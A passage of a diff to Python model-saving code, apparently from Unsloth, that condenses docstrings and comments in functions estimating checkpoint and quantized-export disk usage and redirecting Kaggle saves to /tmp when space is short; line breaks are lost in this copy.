`ignore`.-- `compressed_tensors.utils.match._match_name` treats a `re:` prefix as- `re.match(pattern, name)` - anchored at the start of the fully qualified- module name, and not required to reach its end - and everything else as- `target == name`. `_match_class` additionally matches a plain entry- against the names of the module's parent classes, which is why the MRO is- walked here too.-- An unparseable pattern matches nothing rather than raising.- """+ """Mirror compressed-tensors' `is_match` for one module against `ignore`. `_match_name` treats a `re:` prefix as `re.match(pattern, name)`, anchored at the start of the fully qualified module name and not required to reach its end, and everything else as `target == name`. `_match_class` additionally matches a plain entry against the module's parent class names, which is why the MRO is walked. An unparseable pattern matches nothing rather than raising."""for pattern in patterns:try:if isinstance(pattern, str) and pattern.startswith("re:"):@@ -3157,14 +2998,7 @@ def _matches_ignore_pattern(name, module, patterns):def _named_parameters(module):- """`(name, parameter)` pairs, named where the module can say.-- `logical_numel` needs the name to spot MXFP4 packing, which has no- `quant_state` to give it away and is only identifiable by the- `_blocks` / `_scales` suffix. `torch.nn.Module` always offers- `named_parameters`; the fall back to `parameters()` keeps any other object- that answers the older call working, just without the MXFP4 case.- """+ """`(name, parameter)` pairs, named where the module can say. `logical_numel` needs the name to spot MXFP4 packing, which has no `quant_state` and is identifiable only by the `_blocks` / `_scales` suffix. The fall back to `parameters()` keeps any object answering the older call working, just without the MXFP4 case."""try:return list(module.named_parameters())except Exception:@@ -3172,33 +3006,7 @@ def _named_parameters(module):def _unquantized_parameter_bytes(model, ignore_patterns = ()):- """Bytes a weight-only export leaves at 16 bits in the sibling checkpoint.-- compressed-tensors and torchao both quantize `Linear` weights only, so the- input embeddings and an untied `lm_head` stay 16-bit. They are the- dominant exclusion (a 4.5B model measured 0.5B of them), so pricing the- whole sibling at the scheme's width under-sizes it by the embedding share.-- `ignore_patterns` is the recipe's `ignore` list, and every module it names- stays 16-bit as well: the vision tower of a VLM, a Qwen3-Next hybrid's- linear-attention blocks, an MTP head, the MoE router gates. Those are the- same order of magnitude as the embeddings, and pricing them at 4 or 8 bits- under-sizes the merge, which is the direction that loses the redirect.- Empty for torchao, which quantizes with no ignore list of its own.-- Every parameter is measured with `logical_numel`, the same helper- `model_16bit_bytes` sizes the merge with, and NOT with `numel()`. A model- loaded in 4 bits holds `Params4bit`, whose `numel()` is the packed uint8- count and roughly half the logical one; MXFP4 blocks are worth twice- theirs. Believing `numel()` would price an ignored subtree at half what- the export writes for it while the merge it is subtracted from was priced- logically, and the two have to agree.-- Tied embeddings are one tensor and are counted once, and a module already- counted through an embedding getter or through an enclosing ignored module- is not counted again. Zero when the model does not answer, which leaves- the estimate exactly as it was.- """+ """Bytes a weight-only export leaves at 16 bits in the sibling checkpoint. compressed-tensors and torchao both quantize `Linear` weights only, so the input embeddings and an untied `lm_head` stay 16-bit and dominate the exclusion (0.5B of a measured 4.5B model). `ignore_patterns` is the recipe's `ignore` list and every module it names stays 16-bit too: a VLM's vision tower, a Qwen3-Next hybrid's linear-attention blocks, an MTP head, MoE router gates. Empty for torchao, which has no ignore list. Every parameter is measured with `logical_numel`, the same helper `model_16bit_bytes` uses, and NOT `numel()`: a 4-bit `Params4bit` reports its packed uint8 count, roughly half the logical one, and MXFP4 blocks are worth twice theirs, so believing `numel()` would price an ignored subtree at half what the export writes while the merge it is subtracted from was priced logically. Tied embeddings are one tensor and counted once, and a module already counted through an embedding getter or an enclosing ignored module is not counted again. Zero when the model does not answer."""total = 0seen = set()for getter in ("get_input_embeddings", "get_output_embeddings"):@@ -3215,7 +3023,6 @@ def _unquantized_parameter_bytes(model, ignore_patterns = ()):try:named_modules = list(model.named_modules())except Exception:- # A model whose modules cannot be walked keeps the embeddings-only figure.return totalfor name, module in named_modules:try:@@ -3237,37 +3044,15 @@ def _quantized_sibling_bytes(weight_bits,ignore_patterns = (),):- """Bytes of the quantized sibling written to `save_directory + "-<suffix>"`.-- `merge_bytes` is the 16-bit checkpoint size. Only the part of it that a- weight-only scheme actually quantizes shrinks; the rest is copied across- at 16 bits.- """+ """Bytes of the quantized sibling written to `save_directory + "-<suffix>"`. `merge_bytes` is the 16-bit checkpoint size; only the part a weight-only scheme actually quantizes shrinks, the rest is copied across at 16 bits."""unquantized = min(_unquantized_parameter_bytes(model, ignore_patterns), merge_bytes)return int((merge_bytes - unquantized) * weight_bits / 16) + unquantizeddef _full_model_checkpoint_bytes(model, state_dict = None):- """Bytes `save_pretrained` writes for a model with no adapter to merge.-- Measured from the parameters' real storage rather than assumed to be a- 16-bit merge, because this checkpoint is written with no cast: an fp32- model costs four bytes per parameter, a 4-bit one its packed storage.- Zero when the model cannot be measured, which leaves the caller with- today's behaviour.-- A caller-supplied `state_dict` is measured INSTEAD of the model, because- it is what `save_pretrained` writes and the two can disagree by a whole- factor: only `"16bit" in save_method` casts the dict, so a `"lora"` save- on a model with no adapter forwards an fp32 dict verbatim while the- resident parameters are fp16, and sizing the model would price the export- at half. Undercounting here is not a crash but a missed `/tmp` redirect,- which is how the 20GB Kaggle working directory fills instead.- """+ """Bytes `save_pretrained` writes for a model with no adapter to merge. Measured from the parameters' real storage rather than assumed to be a 16-bit merge, because this checkpoint is written with no cast: an fp32 model costs four bytes per parameter, a 4-bit one its packed storage. Zero when the model cannot be measured. A caller-supplied `state_dict` is measured INSTEAD of the model, because it is what `save_pretrained` writes and the two can disagree by a whole factor: only `"16bit" in save_method` casts the dict, so a `"lora"` save on a model with no adapter forwards an fp32 dict verbatim while the resident parameters are fp16. Undercounting is a missed `/tmp` redirect, which is how the 20GB Kaggle working directory fills."""try:- # `is not None`, matching unsloth_generic_save, which forwards the dict on that test. An empty dict- # reaches save_pretrained and writes no tensors, so sizing the resident model would price tens of- # gigabytes for a save that writes none.+ # `is not None`, matching unsloth_generic_save, which forwards the dict on that test. An empty dict reaches save_pretrained and writes no tensors, so sizing the resident model would price tens of gigabytes for a save that writes none.if state_dict is not None:total = 0for tensor in state_dict.values():@@ -3283,17 +3068,7 @@ def _full_model_checkpoint_bytes(model, state_dict = None):def _cast_16bit_state_dict_bytes(state_dict):- """Bytes a `"16bit"` save writes for a caller-supplied `state_dict`.-- `unsloth_generic_save` casts every FLOATING entry to bf16/fp16 and leaves- the rest alone, then hands the dictionary straight to `save_pretrained`.- So the floats are two bytes per element whatever they arrived as, and an- integer or bool entry keeps its own width.-- `numel()` and not `logical_numel`, because these are the tensors the- writer writes: a packed 4-bit entry is stored exactly as it stands here,- not expanded.- """+ """Bytes a `"16bit"` save writes for a caller-supplied `state_dict`. `unsloth_generic_save` casts every FLOATING entry to bf16/fp16 and leaves the rest alone, so floats are two bytes per element whatever they arrived as and integer or bool entries keep their width. `numel()` and not `logical_numel`, because these are the tensors the writer writes: a packed 4-bit entry is stored exactly as it stands, not expanded."""total = 0for tensor in state_dict.values():tensor = getattr(tensor, "data", tensor)@@ -3306,18 +3081,7 @@ def _cast_16bit_state_dict_bytes(state_dict):def _same_filesystem(left, right):- """True when two paths sit on the same mount.-- Neither path has to exist. The nearest existing ancestor answers, exactly- as `free_bytes` resolves the disk it measures, because that ancestor is- the filesystem a write to the path really lands on. A destination is- routinely absent here: `_preflight_merge_disk` runs before anything is- created, so stat-ing it directly raised, the callers' broad handlers- swallowed the probe, and a first export got no TMPDIR warning at all.-- Raises when either side cannot be identified, which is what every caller- already reads as "cannot tell".- """+ """True when two paths sit on the same mount. Neither path has to exist: the nearest existing ancestor answers, exactly as `free_bytes` resolves the disk it measures, because that ancestor is the filesystem a write really lands on. A destination is routinely absent here, and stat-ing it directly raised into the callers' broad handlers, so a first export got no TMPDIR warning at all. Raises when either side cannot be identified, which every caller reads as "cannot tell"."""left_id = _filesystem_id(left)right_id = _filesystem_id(right)if left_id is None or right_id is None:@@ -3326,22 +3090,7 @@ def _same_filesystem(left, right):def _destination_holds_torchao_staging(destination, need_bytes, staging_bytes):- """Can the redirect target hold the torchao staging merge as well?-- `_unsloth_save_torchao` merges into `tempfile.mkdtemp()` and removes it- only once quantization has finished, so where the tempfile default and the- redirect target are the same filesystem - which is exactly a Kaggle kernel,- where both are /tmp - the staging checkpoint and the quantized sibling sit- on the destination at the same time.-- Checked here rather than added to `need_bytes`, because the staging- directory never lands in /kaggle/working: charging it there would relocate- exports that fit into /tmp, which is not kept as notebook output. So this- can only ever cancel a redirect, never cause one, and it cancels one only- when the destination could not have held the export anyway - in which case- staying put leaves the working directory's own guard to raise the real- error.- """+ """Can the redirect target hold the torchao staging merge as well? `_unsloth_save_torchao` merges into `tempfile.mkdtemp()` and removes it only after quantization, so where the tempfile default and the redirect target share a filesystem (a Kaggle kernel, where both are /tmp) the staging checkpoint and the quantized sibling coexist on the destination. Checked here rather than added to `need_bytes` because the staging directory never lands in /kaggle/working, and charging it there would relocate exports that fit. So this can only cancel a redirect, never cause one, and only when the destination could not have held the export anyway."""import tempfiletry:if staging_bytes <= 0:@@ -3357,27 +3106,11 @@ def _destination_holds_torchao_staging(destination, need_bytes, staging_bytes):def _warn_if_sibling_filesystem_is_short(save_directory, suffix, sibling_bytes):- """Say so when the quantized sibling lands on a disk nobody measured.-- Compressed and torchao exports build their output lexically, as- `save_directory + "-<suffix>"`, so the sibling is a child of the PARENT of- `save_directory`. That is the same filesystem the preflight probed, unless- `save_directory` is itself a symlink or a mount point. When it is, the- probe answers for the target and the sibling is written on the other side:- a `model` symlinked into a roomy /tmp passes here while `model-fp8` fills- a 20GB working directory.-- A warning rather than a different redirect, for the same reason as the- staging one. `kaggle_tmp_redirect` relocates `save_directory`, and the- caller derives the sibling from whatever this function returns, so a- redirect already moves both. The uncovered case is the one where NO- redirect fires, and there is nothing to cancel there.- """+ """Say so when the quantized sibling lands on a disk nobody measured. Compressed and torchao exports build their output lexically as `save_directory + "-<suffix>"`, so the sibling is a child of the PARENT of `save_directory`, the same filesystem the preflight probed, unless `save_directory` is itself a symlink or a mount point. Then the probe answers for the target while the sibling is written on the other side: a `model` symlinked into a roomy /tmp passes while `model-fp8` fills a 20GB working directory. A warning rather than a different redirect: a redirect already moves both, and the uncovered case is the one where none fires."""try:if sibling_bytes <= 0 or not suffix:returnsibling = f"{save_directory}-{suffix}"- # The directory the sibling is created IN, which is what has the space.holder = os.path.dirname(os.path.abspath(sibling)) or "."if _same_filesystem(holder, save_directory):return@@ -3397,21 +3130,7 @@ def _warn_if_sibling_filesystem_is_short(save_directory, suffix, sibling_bytes):def _warn_if_torchao_staging_filesystem_is_short(destination, staging_bytes):- """Say so when TMPDIR cannot hold the staging merge either.-- `_destination_holds_torchao_staging` asks whether the DESTINATION can hold- the staging directory as well, which is the whole question while- `tempfile` resolves onto the same filesystem. When it does not, that- function returns True and nothing has measured the staging filesystem at- all, so a 4GB tmpfs is handed a 60GB merge and `_unsloth_save_torchao`- dies inside `tempfile.mkdtemp` without naming TMPDIR as the reason.-- A warning, not a refusal: the preflight never raises, and unlike the- destination check this cannot be answered by cancelling the redirect.- The staging merge is written to TMPDIR whether or not the export was- relocated, so declining the move leaves the identical failure and puts- the output on the smaller disk as well.- """+ """Say so when TMPDIR cannot hold the staging merge either. While `tempfile` resolves onto the destination filesystem, `_destination_holds_torchao_staging` answers the whole question; when it does not, that function returns True and nothing has measured the staging filesystem at all, so a 4GB tmpfs is handed a 60GB merge and `_unsloth_save_torchao` dies inside `tempfile.mkdtemp` without naming TMPDIR. A warning, not a refusal: the staging merge is written to TMPDIR whether or not the export was relocated, so declining the move leaves the identical failure and puts the output on the smaller disk too."""import tempfiletry:if staging_bytes <= 0:@@ -3420,8 +3139,7 @@ def _warn_if_torchao_staging_filesystem_is_short(destination, staging_bytes):if _same_filesystem(staging_directory, destination):returnfree = free_bytes(staging_directory)- # The staging merge is written by merge_and_overwrite_lora, which refuses it unless free * 0.95 covers- # it, so the bare size leaves a 5% band where the merge dies silently.+ # The staging merge is written by merge_and_overwrite_lora, which refuses it unless free * 0.95 covers it, so the bare size leaves a 5% band where the merge dies silently.needed = math.ceil(staging_bytes / _MERGE_FREE_SPACE_RESERVE)if free is None or free >= needed:return@@ -3438,21 +3156,7 @@ def _warn_if_torchao_staging_filesystem_is_short(destination, staging_bytes):def _warn_if_a_cancelled_redirect_leaves_no_room(save_directory, sibling_bytes):- """Say so when the export is handed back a filesystem that cannot hold it.-- Cancelling the torchao redirect returns the quantized sibling to- `save_directory`, and outside `UNSLOTH_KAGGLE_USE_TMP=1` the only reason- the redirect fired at all is that that filesystem measured too small for- it. Nothing downstream covers the sibling: the torchao merge is staged in- TMPDIR, so `merge_and_overwrite_lora`'s `free * 0.95` measures the staging- disk and never this one, and the sibling is written at the very end of a- long quantization. Cancelling is still the right move - /tmp cannot hold- the staging merge and the sibling together, so relocating fails too - but- it must not be silent for the minutes the quantization takes.-- A warning and not a refusal, for the same reason as the two warnings- beside it: this preflight never raises, and the sibling is an estimate.- """+ """Say so when the export is handed back a filesystem that cannot hold it. Cancelling the torchao redirect returns the quantized sibling to `save_directory`, and outside `UNSLOTH_KAGGLE_USE_TMP=1` the redirect fired precisely because that filesystem measured too small. Nothing downstream covers the sibling: the torchao merge is staged in TMPDIR, so `merge_and_overwrite_lora`'s `free * 0.95` measures the staging disk and never this one, and the sibling is written at the very end of a long quantization. Cancelling is still right, but it must not be silent for the minutes that takes. A warning, not a refusal: this preflight never raises and the sibling is an estimate."""try:if sibling_bytes <= 0:return@@ -3472,29 +3176,7 @@ def _warn_if_a_cancelled_redirect_leaves_no_room(save_directory, sibling_bytes):def _merge_writer_disposition(model, save_method):- """What `save_pretrained_merged`'s writer does with a supplied `state_dict`.-- Returns `(forwards, verbatim)` for the `_preflight_merge_disk` arguments of- the same meaning. Three writers sit behind that one entrypoint and they do- not agree:-- - a compressed-tensors or torchao export hands the dictionary to- `unsloth_generic_save(save_method = "merged_16bit")`, which casts every- floating entry to two bytes and writes it. That checkpoint is the- staging (torchao) or kept (compressed) merge, so it is sized from the- dictionary, not from the resident model,- - `unsloth_save_model` on an architecture that walks `.model.layers`- rebuilds the dictionary from the merged layers and drops whatever it- was handed, so sizing the caller's would price a save that is not- happening,- - `unsloth_save_model` on any other architecture takes its generic- fallback and calls `save_pretrained(**save_pretrained_settings)` with- the caller's dictionary untouched AND uncast, so the bytes written are- the dictionary's own, at its own dtypes.-- Never raises: an unreadable model or an unrecognised method reports the- conservative `(False, False)`, which is the behaviour before this existed.- """+ """What `save_pretrained_merged`'s writer does with a supplied `state_dict`, as `(forwards, verbatim)` for `_preflight_merge_disk`. Three writers sit behind that one entrypoint and disagree: a compressed-tensors or torchao export hands the dict to `unsloth_generic_save(save_method="merged_16bit")`, which casts every floating entry to two bytes, so it is sized from the dict; `unsloth_save_model` on an architecture that walks `.model.layers` rebuilds the dict from the merged layers and drops what it was handed; and `unsloth_save_model` on any other architecture calls `save_pretrained(**save_pretrained_settings)` with the caller's dict untouched AND uncast, so the bytes written are the dict's own, at its own dtypes. Never raises: an unreadable model or unrecognised method reports the conservative `(False, False)`."""method = str(save_method).lower().strip().replace("-", "_").replace(" ", "_")try:compressed = _normalize_compressed_method(method)@@ -3505,8 +3187,7 @@ def _merge_writer_disposition(model, save_method):return True, Falseif method != "merged_16bit":return False, False- # A PeftModel in the generic fallback writes ADAPTERS, not a checkpoint, so it keeps its own sizing rather- # than being priced a full model.+ # A PeftModel in the generic fallback writes ADAPTERS, not a checkpoint, so it keeps its own sizing rather than being priced a full model.if isinstance(model, (PeftModel, PeftModelForCausalLM)):return False, Falsetry:@@ -3529,74 +3210,30 @@ def _preflight_merge_disk(writes_model_verbatim = False,writer_runs_merge_guard = False,):- """Kaggle only: send a merge that cannot fit in /kaggle/working to /tmp.-- Never raises. A merge that is short of space on an ordinary machine is- already handled by unsloth_zoo's own guard, which knows about shard- streaming and the push_to_hub fallbacks; this exists purely so the ~20GB- Kaggle working directory stops being the ceiling when a terabyte of- overlay is mounted next to it.-- Skipped entirely when pushing to the hub, because there `save_directory`- is a repo id like "user/model", not a filesystem path, and rewriting it- would push to the wrong repository.-- `forwards_state_dict` says the writer behind this call hands a supplied- `state_dict` to `save_pretrained` for a 16-bit save rather than building- its own, casting its floating entries to two bytes on the way, as- `unsloth_generic_save` does. `unsloth_save_model`'s merge path instead- rebuilds the dictionary from the merged layers and drops whatever it was- given, so sizing the caller's there would price a save that is not- happening.-- `writes_model_verbatim` says the writer copies what it holds to- `save_pretrained` with no cast at all, which is `unsloth_save_model`'s- generic architecture fallback. Then the checkpoint is the dictionary's own- bytes, at its own dtypes, or the resident parameters' own bytes when no- dictionary was supplied, and never two bytes per logical parameter.- `_merge_writer_disposition` decides both for the public entrypoint.-- `writer_runs_merge_guard` says the writer behind this call is- `unsloth_generic_save`, whose PEFT branch is the one and only caller of- `merge_and_overwrite_lora` here and therefore the only writer that brings- its `free * 0.95` guard with it. It is deliberately separate from the two- flags above, which decide SIZING: a compressed export is cast to two bytes- by that same writer and is sized accordingly, yet it reserves nothing- unless there is an adapter for the guard to merge.- """+ """Kaggle only: send a merge that cannot fit in /kaggle/working to /tmp. Never raises. A merge short of space on an ordinary machine is already handled by unsloth_zoo's own guard, which knows about shard streaming and the push_to_hub fallbacks; this exists so the ~20GB Kaggle working directory stops being the ceiling when a terabyte of overlay is mounted beside it. Skipped when pushing to the hub, where `save_directory` is a repo id and rewriting it would push to the wrong repository. `forwards_state_dict`: the writer hands a supplied `state_dict` to `save_pretrained` for a 16-bit save, casting floating entries to two bytes, as `unsloth_generic_save` does; `unsloth_save_model`'s merge path instead rebuilds the dict from the merged layers and drops what it was given. `writes_model_verbatim`: the writer copies what it holds with no cast at all, which is `unsloth_save_model`'s generic architecture fallback, so the checkpoint is the dict's own bytes at its own dtypes, or the resident parameters' bytes when no dict was supplied. `writer_runs_merge_guard`: the writer is `unsloth_generic_save`, whose PEFT branch is the only caller of `merge_and_overwrite_lora` here and so the only writer bringing its `free * 0.95` guard, deliberately separate from the two SIZING flags since a compressed export is cast to two bytes and sized accordingly yet reserves nothing unless there is an adapter to merge. `_merge_writer_disposition` decides the first two for the public entrypoint."""if push_to_hub:return save_directory- # unsloth_save_model normalizes spaces before dispatching, so "merged 16bit" is the same full merge as- # "merged_16bit" and must be measured as one.+ # unsloth_save_model normalizes spaces before dispatching, so "merged 16bit" is the same full merge as "merged_16bit" and must be measured as one.method = str(save_method).lower().strip().replace("-", "_").replace(" ", "_")try:- # Every compressed export keeps the 16-bit merge at save_directory and writes a quantized sibling- # beside it, so all of them belong here, not just mxfp4.+ # Every compressed export keeps the 16-bit merge at save_directory and writes a quantized sibling beside it, so all of them belong here, not just mxfp4.compressed = _normalize_compressed_method(method)except Exception:# An unsupported near-miss name raises later, where the message is.return save_directory# The torchao portable exports have the same shape: a quantized sibling at save_directory + "-<suffix>".torchao = _normalize_torchao_method(method)- # "lora" on a model with no adapter writes the WHOLE model: both save paths fall back to save_pretrained,- # so a full fine-tune asked for "lora" fills /kaggle/working like a merge. A real PeftModel writes- # adapters only and is still skipped.+ # "lora" on a model with no adapter writes the WHOLE model: both save paths fall back to save_pretrained, so a full fine-tune asked for "lora" fills /kaggle/working like a merge. A real PeftModel writes adapters only and is still skipped.is_peft = isinstance(model, (PeftModel, PeftModelForCausalLM))full_model_lora = method == "lora" and not is_peft- # unsloth_generic_save reaches for model.state_dict() only when given none, so a model with no adapter is- # saved from whatever dict it holds; a PeftModel goes to merge_and_overwrite_lora, which takes no state dict- # at all.+ # unsloth_generic_save reaches for model.state_dict() only when given none, so a model with no adapter is saved from whatever dict it holds; a PeftModel goes to merge_and_overwrite_lora, which takes no state dict at all.supplied_dict = state_dict if (forwards_state_dict and not is_peft) else None- # Same reason the dict is only followed for a non-PEFT model: a PeftModel never reaches the fallback that- # would copy one verbatim.+ # Same reason the dict is only followed for a non-PEFT model: a PeftModel never reaches the fallback that would copy one verbatim.verbatim = bool(writes_model_verbatim) and not is_peftif compressed is None and torchao is None and method != "merged_16bit" and not full_model_lora:return save_directorytry:- # A merge writes 2 bytes per parameter and no GGUF, so this is model_16bit_bytes, not the GGUF- # estimate, which always prices an intermediate conversion. The no-adapter save writes the dictionary- # it was handed, cast, so an empty one writes almost nothing and sizing the model would relocate it- # off persistent Kaggle storage.+ # A merge writes 2 bytes per parameter and no GGUF, so this is model_16bit_bytes, not the GGUF estimate, which always prices an intermediate conversion. The no-adapter save writes the dictionary it was handed, cast, so an empty one writes almost nothing and sizing the model would relocate it off persistent Kaggle storage.if full_model_lora or verbatim:need = _full_model_checkpoint_bytes(model, state_dict)elif supplied_dict is not None:@@ -3605,26 +3242,19 @@ def _preflight_merge_disk(need = model_16bit_bytes(model)if need <= 0:return save_directory- # What the torchao staging directory costs on whatever filesystem tempfile resolves to; zero for every- # other export, which stages nothing.+ # What the torchao staging directory costs on whatever filesystem tempfile resolves to; zero for every other export, which stages nothing.staging = 0- # The lexical suffix the quantized sibling is written under, so its filesystem can be measured- # separately below.+ # The lexical suffix the quantized sibling is written under, so its filesystem can be measured separately below.sibling_suffix = ""sibling_bytes = 0- # What merge_and_overwrite_lora writes HERE, the only part its free * 0.95 guard measures. Split out- # from `need` because the reserve belongs on this alone: charging it around the whole estimate- # relocates an export that fits. Every other writer here is a bare save_pretrained and reserves- # nothing.+ # What merge_and_overwrite_lora writes HERE, the only part its free * 0.95 guard measures. Split out from `need` because the reserve belongs on this alone: charging it around the whole estimate relocates an export that fits. Every other writer here is a bare save_pretrained and reserves nothing.guard_runs_here = is_peft and (compressed is not None or bool(writer_runs_merge_guard))merge_here = need if guard_runs_here else 0if torchao is not None:- # _unsloth_save_torchao merges into a tempfile.mkdtemp staging dir, so only the 8-bit sibling lands- # here and no merge guard runs against this filesystem.+ # _unsloth_save_torchao merges into a tempfile.mkdtemp staging dir, so only the 8-bit sibling lands here and no merge guard runs against this filesystem.staging = needmerge_here = 0- # No ignore list: _unsloth_save_torchao quantizes with a bare Float8/Int8WeightOnlyConfig(), and- # charging it the compressed recipe's exclusions would over-count and relocate an export that fits.+ # No ignore list: _unsloth_save_torchao quantizes with a bare Float8/Int8WeightOnlyConfig(), and charging it the compressed recipe's exclusions would over-count and relocate an export that fits.need = _quantized_sibling_bytes(model, need, _TORCHAO_SIBLING_WEIGHT_BITS)sibling_suffix = torchao[1]sibling_bytes = need@@ -3633,15 +3263,12 @@ def _preflight_merge_disk(model,need,_compressed_scheme_weight_bits(compressed[0]),- # Everything the recipe refuses to quantize is copied at 16 bits: vision tower, linear- # attention, MTP, MoE gates.+ # Everything the recipe refuses to quantize is copied at 16 bits: vision tower, linear attention, MTP, MoE gates._compressed_ignore_patterns(model),)sibling_suffix = compressed[2]need += sibling_bytes- # The reserve raises the ask for the merge alone; the rest is added at face value. max, not a sum: the- # sibling coexists with the merge, so the peak is the whole estimate and it must also clear the- # merge's reserved figure.+ # The reserve raises the ask for the merge alone; the rest is added at face value. max, not a sum: the sibling coexists with the merge, so the peak is the whole estimate and it must also clear the merge's reserved figure.need = max(need, math.ceil(merge_here / _MERGE_FREE_SPACE_RESERVE))new_directory, message = kaggle_tmp_redirect(save_directory,@@ -3666,13 +3293,7 @@ def _preflight_merge_disk(def _normalize_quantization_methods(quantization_method):- """The list of GGUF types an export will actually write.-- Mirrors the normalisation `save_to_gguf` does, but cheaply and without- validating, because this only feeds a size estimate: an unrecognised name- is sized as q8_0 rather than rejected here, and the real validation still- happens later where it always did.- """+ """The list of GGUF types an export will actually write. Mirrors save_to_gguf's normalisation but cheaply and without validating, since this only feeds a size estimate: an unrecognised name is sized as q8_0 rather than rejected, and the real validation still happens later."""if quantization_method is None:return []if isinstance(quantization_method, str):@@ -3697,28 +3318,12 @@ def _normalize_quantization_methods(quantization_method):def _imatrix_is_enabled(imatrix_file):- """Whether an imatrix will really be applied, as `_resolve_imatrix_file` reads it.-- None and False both disable it. The preflight has to agree: an imatrix- forces the two-pass route, so reading False as "enabled" sizes an- intermediate GGUF that a direct-convertible export never writes, and can- refuse an export that fits.- """+ """Whether an imatrix will really be applied, as `_resolve_imatrix_file` reads it. None and False both disable it, and the preflight has to agree: an imatrix forces the two-pass route, so reading False as "enabled" sizes an intermediate GGUF a direct-convertible export never writes and can refuse an export that fits."""return imatrix_file is not None and imatrix_file is not Falsedef _gguf_writes_16bit_checkpoint(model):- """Whether a GGUF export writes a full 16-bit checkpoint before converting.-- A PEFT model is merged into one. A non-PEFT model reuses an existing- checkpoint when `_name_or_path` names a directory, and otherwise falls- back to `save_pretrained`, which writes the same two bytes per parameter- the merge would have. Sizing that fallback at zero is what lets an export- pass the preflight and then fill the disk with the checkpoint.-- A module-level helper rather than a local, because the caller snapshots- `locals()` into the kwargs of `unsloth_generic_save`.- """+ """Whether a GGUF export writes a full 16-bit checkpoint before converting. A PEFT model is merged into one. A non-PEFT model reuses an existing checkpoint when `_name_or_path` names a directory, and otherwise falls back to `save_pretrained`, which writes the same two bytes per parameter; sizing that fallback at zero is what lets an export pass the preflight and then fill the disk. A module-level helper rather than a local, because the caller snapshots `locals()` into the kwargs of `unsloth_generic_save`."""if isinstance(model, (PeftModel, PeftModelForCausalLM)):return Truename_or_path = getattr(getattr(model, "config", None), "_name_or_path", None)@@ -3729,18 +3334,7 @@ def _gguf_writes_16bit_checkpoint(model):def _fallback_checkpoint_extra_bytes(model):- """Bytes the non-PEFT fallback checkpoint costs ON TOP of the 16-bit estimate.-- `estimate_gguf_export_bytes` budgets two bytes per logical parameter for- the checkpoint, which is what a LoRA merge writes. The non-PEFT fallback- calls `self.save_pretrained` with no cast, so a model loaded with- `dtype = torch.float32` (a supported load) writes four and can fill a disk- the preflight called big enough.-- Measured from the parameters' real storage, so a mixed-dtype model is not- priced off its largest tensor, and clamped at zero: this can only ever ask- for more room, never less, and an unmeasurable model adds nothing.- """+ """Bytes the non-PEFT fallback checkpoint costs ON TOP of the 16-bit estimate. `estimate_gguf_export_bytes` budgets two bytes per logical parameter, which is what a LoRA merge writes, but the fallback calls `self.save_pretrained` with no cast, so a model loaded with `dtype = torch.float32` writes four. Measured from the parameters' real storage so a mixed-dtype model is not priced off its largest tensor, and clamped at zero: this can only ask for more room, never less."""if isinstance(model, (PeftModel, PeftModelForCausalLM)):return 0if not _gguf_writes_16bit_checkpoint(model):@@ -3755,24 +3349,12 @@ def _fallback_checkpoint_extra_bytes(model):def _gguf_output_directory(save_directory):- """Where the GGUF files land: a SIBLING of `save_directory`, not a child.-- One definition for the preflight and for the export itself, so the disk- that gets measured cannot drift from the disk that gets written.- """+ """Where the GGUF files land: a SIBLING of `save_directory`, not a child. One definition for the preflight and for the export itself, so the disk measured cannot drift from the disk written."""return f"{save_directory}_gguf"def _filesystem_id(path):- """Device id of the filesystem `free_bytes(path)` would measure, or None.-- Mirrors `free_bytes`: lexical `abspath`, so a symlinked directory keeps- its own name, then the nearest existing ancestor, because the GGUF- sibling does not exist yet. `os.stat` follows symlinks, so this is the- device `shutil.disk_usage` reports for the very same path. Windows fills- `st_dev` from the volume serial number; a zero is the platform declining- to answer and counts as unmeasurable.- """+ """Device id of the filesystem `free_bytes(path)` would measure, or None. Mirrors `free_bytes`: lexical `abspath`, so a symlinked directory keeps its own name, then the nearest existing ancestor, because the GGUF sibling does not exist yet. `os.stat` follows symlinks, so this is the device `shutil.disk_usage` reports for the same path. Windows fills `st_dev` from the volume serial number, and a zero is the platform declining to answer."""try:probe = os.path.abspath(os.path.expanduser(str(path)))while probe and not os.path.exists(probe):@@ -3786,21 +3368,7 @@ def _filesystem_id(path):def _on_separate_filesystems(directory, sibling):- """True only when both paths are identified AND on different filesystems.-- Unmeasurable is False rather than a guess, so a path nothing can identify- leaves the caller charging one filesystem for the whole export, which is- what it did before this existed. Device ids and not "the sibling reports- less free space": two `disk_usage` calls on ONE filesystem can disagree- when something else writes between them, and reading that as two- filesystems would charge a single-filesystem export the larger of the two- halves instead of their sum.-- Separate from `_same_filesystem`, which resolves paths the same way but- answers a different question for the torchao redirect: it raises when a- path cannot be identified, because its callers want that to cancel the- probe rather than to charge one filesystem for both halves.- """+ """True only when both paths are identified AND on different filesystems. Unmeasurable is False rather than a guess, so a path nothing can identify leaves the caller charging one filesystem for the whole export, as it did before this existed. Device ids and not "the sibling reports less free space": two `disk_usage` calls on ONE filesystem can disagree when something else writes between them, and reading that as two filesystems would charge a single-filesystem export the larger half instead of their sum. Separate from `_same_filesystem`, which resolves paths the same way but raises on an unidentifiable path, because its callers want that to cancel the probe."""left = _filesystem_id(directory)right = _filesystem_id(sibling)if left is None or right is None:@@ -3809,13 +3377,7 @@ def _on_separate_filesystems(directory, sibling):def _shares_filesystem(directory, sibling):- """True only when both paths are identified AND on the same filesystem.-- Not `not _on_separate_filesystems(...)`: that reads an unidentifiable path- as "together", which is right where the answer removes a charge and wrong- where it adds one. This is the predicate for the adding case, so it says- no to anything it cannot see, and neither predicate ever guesses.- """+ """True only when both paths are identified AND on the same filesystem. Not `not _on_separate_filesystems(...)`: that reads an unidentifiable path as "together", which is right where the answer removes a charge and wrong where it adds one. This is the predicate for the adding case, so it says no to anything it cannot see."""left = _filesystem_id(directory)right = _filesystem_id(sibling)if left is None or right is None:@@ -3824,11 +3386,7 @@ def _shares_filesystem(directory, sibling):def _directory_is_writable(directory):- """Can a file be created here? The same probe `convert_to_gguf` makes.-- `tempfile.mkstemp` is exclusive, so it never truncates an existing file- and never follows a symlink. Anything that goes wrong reads as "no".- """+ """Can a file be created here? The same probe `convert_to_gguf` makes. `tempfile.mkstemp` is exclusive, so it never truncates an existing file and never follows a symlink. Anything that goes wrong reads as "no"."""import tempfiletry:handle, probe = tempfile.mkstemp(prefix = ".unsloth_write_test_", dir = directory)@@ -3840,22 +3398,7 @@ def _directory_is_writable(directory):def _gguf_conversion_directory(model_directory):- """Where the intermediate GGUF is written, before it is moved.-- `unsloth_zoo.llama_cpp.convert_to_gguf` passes a BARE filename as- `--outfile`, so llama.cpp resolves it against the process 